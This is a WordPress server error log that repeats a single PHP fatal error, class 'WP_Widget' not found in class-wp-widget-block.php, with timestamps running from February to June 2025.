[19-Feb-2025 16:47:24 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[21-Feb-2025 12:37:09 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[21-Feb-2025 23:40:21 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[25-Feb-2025 01:56:30 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[25-Feb-2025 08:30:05 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[25-Feb-2025 11:20:00 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[26-Feb-2025 18:37:04 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[27-Feb-2025 09:13:36 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[27-Feb-2025 09:26:04 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[28-Feb-2025 14:25:45 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[02-Mar-2025 07:18:22 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[03-Mar-2025 20:59:15 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[03-Mar-2025 21:09:51 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[04-Mar-2025 12:16:06 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[05-Mar-2025 04:33:04 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[05-Mar-2025 04:41:46 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[05-Mar-2025 16:29:08 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[06-Mar-2025 09:14:04 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[08-Mar-2025 09:11:10 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[08-Mar-2025 09:42:57 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[08-Mar-2025 09:49:31 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[08-Mar-2025 15:53:40 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[09-Mar-2025 02:27:02 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[09-Mar-2025 10:29:37 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[10-Mar-2025 09:32:38 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[10-Mar-2025 17:54:29 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[10-Mar-2025 18:22:10 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[13-Mar-2025 01:53:44 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[14-Mar-2025 02:24:38 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[14-Mar-2025 14:35:47 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[19-Mar-2025 19:01:19 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[20-Mar-2025 04:03:51 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[20-Mar-2025 04:12:10 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[20-Mar-2025 18:09:26 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[20-Mar-2025 18:20:33 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[21-Mar-2025 02:53:47 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[21-Mar-2025 15:20:36 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[21-Mar-2025 17:38:35 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[23-Mar-2025 18:35:54 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[24-Mar-2025 19:12:33 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[25-Mar-2025 19:37:39 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[26-Mar-2025 14:37:59 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[28-Mar-2025 03:30:43 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[28-Mar-2025 03:40:57 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[28-Mar-2025 15:54:18 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[30-Mar-2025 21:40:59 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[01-Apr-2025 20:16:54 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[01-Apr-2025 20:35:48 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[05-Apr-2025 08:11:42 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[05-Apr-2025 09:30:04 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[07-Apr-2025 00:16:48 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[07-Apr-2025 04:31:38 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[08-Apr-2025 19:17:21 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[09-Apr-2025 12:41:54 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[11-Apr-2025 08:01:09 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[11-Apr-2025 08:12:48 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[14-Apr-2025 01:26:10 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[14-Apr-2025 01:41:35 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[15-Apr-2025 15:41:27 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[20-Apr-2025 12:35:33 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[30-Apr-2025 01:11:05 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[30-Apr-2025 22:45:21 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[30-Apr-2025 23:11:52 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[01-May-2025 00:39:20 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[04-May-2025 04:28:45 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[06-May-2025 00:41:30 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[06-May-2025 01:25:43 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[09-May-2025 08:26:56 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[09-May-2025 08:40:31 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[10-May-2025 06:36:32 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[10-May-2025 06:44:12 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[10-May-2025 20:53:09 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[12-May-2025 05:46:02 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[13-May-2025 16:43:13 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[14-May-2025 21:03:49 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[14-May-2025 21:24:27 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[15-May-2025 04:03:16 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[15-May-2025 04:24:17 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[16-May-2025 06:38:42 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[18-May-2025 13:30:41 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[19-May-2025 12:58:59 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[22-May-2025 09:58:58 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[25-May-2025 19:27:24 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[25-May-2025 19:46:44 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[26-May-2025 13:10:02 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[27-May-2025 13:00:41 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[27-May-2025 13:20:48 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[05-Jun-2025 03:29:25 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[05-Jun-2025 17:41:38 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[06-Jun-2025 18:14:16 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[06-Jun-2025 18:29:15 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[13-Jun-2025 08:09:06 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[15-Jun-2025 20:17:10 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[15-Jun-2025 20:30:22 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[25-Jun-2025 22:06:50 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[25-Jun-2025 22:19:58 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[26-Jun-2025 22:17:33 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[26-Jun-2025 22:26:58 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[28-Jun-2025 18:45:21 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[28-Jun-2025 19:14:56 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
